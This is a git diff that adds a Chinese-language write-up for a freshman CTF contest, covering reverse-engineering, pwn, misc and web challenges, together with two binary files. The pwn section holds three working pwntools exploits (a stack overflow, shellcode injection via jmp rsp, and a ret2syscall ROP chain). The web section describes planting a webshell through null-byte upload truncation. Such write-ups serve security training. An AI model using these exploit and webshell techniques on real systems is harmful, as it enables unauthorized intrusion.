diff --git a/0x3f-writeup/20190331/cugctf-writeup.md b/0x3f-writeup/20190331/cugctf-writeup.md new file mode 100644 index 0000000..3441ed5 --- /dev/null +++ b/0x3f-writeup/20190331/cugctf-writeup.md @@ -0,0 +1,78 @@ +# 0x3f新生赛 Writeup + +## Re + +### R + +下载可执行文件,用IDA打开,在main函数的最后发现一些mov,将立即数用字符显示即得flag。 + +## Pwn + +### pwn1 + +简单的栈溢出 + +```python +from pwn import * +pld='a'*0x20+'b'*8+p64(0x401182) +sh=process('./01') +sh.sendline(pld) +sh.interactive() +``` + +### pwn2 + +通过提示可以找到C++的全局变量初始化函数,发现有mmap一块RWX的内存,而立即数反汇编后是`jmp rsp`,栈又可执行,所以题解如下: + +```python +from pwn import * +context.arch = 'amd64' +sh = process('./02') +pld = 'a' * 0x40 + 'b' * 8 + p64(0x666666660000) + asm(shellcraft.sh()) +sh.sendline(pld) +sh.interactive() +``` + +### pwn3 + +没有pie,静态链接,显然是ret2syscall。用ROPgadget找到那些地址直接用就行了。注意当目标地址中含有`\x0a`的时候会导致输入截断,因为`'\n' == '\x0a'`。 + +```python +from pwn import * +adb=0x080570c4 +cbx=0x0806f1b2 +bsh=0x080dc068 +i80=0x0804a31a +sh=process('./03') +pld=flat(['a'*0x30,'b'*4,adb,0xb,0,bsh,cbx,0,bsh,i80]) +sh.sendline(pld) +sh.interactive() +``` + +## Misc + +### cap + +用提示给的网站修复cap,获得修复后的pcap包,跟踪TCP流,发现有两个位置上是lf和ga,将后面一系列包的这两位连起来就是flag了。 + +### picture + +下载文件,解压后获得图片,用stegsolve打开,发现绿色通道最低位仿佛有信息,导出出来,根据提升修复bmp header,打开即见flag。 + +### 签到 + +复制粘贴,没啥好说的。 + +## Web + +### upload + +任意上传,用burpsuite拦截上传请求,使用0x00进行截断,用这种方法上传一句话木马,然后用中国菜刀类的工具浏览服务器目录,很容易就能发现flag + +### 404 + +打开开发者工具,发现虽然看起来是404,实际上是200,flag就在http headers里面。 + +### ios88 + +将user-agent改成ios的,然后把版本号都改成88,就能在http headers里找到flag了。 diff --git a/l3hsec-writeup/vitamin b/l3hsec-writeup/vitamin new file mode 100644 index 0000000..7f3fcc5 Binary files /dev/null and b/l3hsec-writeup/vitamin differ diff --git a/l3hsec-writeup/vitamin.i64 b/l3hsec-writeup/vitamin.i64 new file mode 100644 index 0000000..a33159f Binary files /dev/null and b/l3hsec-writeup/vitamin.i64 differ